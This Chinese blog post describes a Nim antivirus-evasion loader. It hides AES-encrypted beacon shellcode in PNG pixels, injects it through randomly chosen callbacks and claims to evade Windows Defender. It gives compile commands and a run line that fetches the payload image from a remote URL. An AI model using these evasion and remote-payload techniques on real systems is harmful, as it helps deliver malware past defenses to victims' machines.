nim-lang 免殺測試:回調函數結合隱寫術
就是將 shellcode,比如,beacon.bin 隱藏到一張 PNG 圖片中,當然要先經過 AES 加密后在嵌入圖片。運行時再將 shellcode 提取出來,最終通過回調的方式注入 shellcode。
隱寫術
本想直接使用 https://github.com/treeform/steganography ,但是卻無情報錯:
閱讀代碼發現,其實就是將信息隱藏在 PNG 圖片每個像素 RGBA 中的最低兩位,所以一個像素就能隱藏8位也就是1個字節的數據。還有一個坑就是,如何識別嵌入了多少數據,最終決定用前8個字節保存嵌入數據的大小。這部分的代碼保持在 lsb.nim 中。
加解密部分,用的是 AES256-CTR ,參考了OffensiveNim的 encrypt_decrypt_bin.nim
生成加密圖片
編譯 lsb.nim
nim c -d:realese --opt:size --cpu:amd64 lsb.nim
生成加密圖片
還原文件
對比還原的文件和原來的文件發現hash一致,說明無誤。
注入shellcode
注明:本地測試已將 windows 10 defender 更新至最新(如果一次不成功,可嘗試第二次)。
目前一共內置17個通過回調注入shellcode的方法,運行時隨機會選擇一個。這部分的實現可以看我的上一篇文章 Shellcode Injection via Callbacks
編譯 letsgo.nim
nim c -d:realese -d:ssl --opt:size --cpu:amd64 letsgo.nim
除了可以通過本地文件上線之外,還可以將圖片上傳至雲上,比如:
letsgo.exe https://www.test.com/images/logo.png 12345678
項目地址 https://github.com/StudyCat404/letsgo
引用
https://github.com/S3cur3Th1sSh1t/Nim_CBT_Shellcode
https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection
https://github.com/treeform/steganography
https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/encrypt_decrypt_bin.nim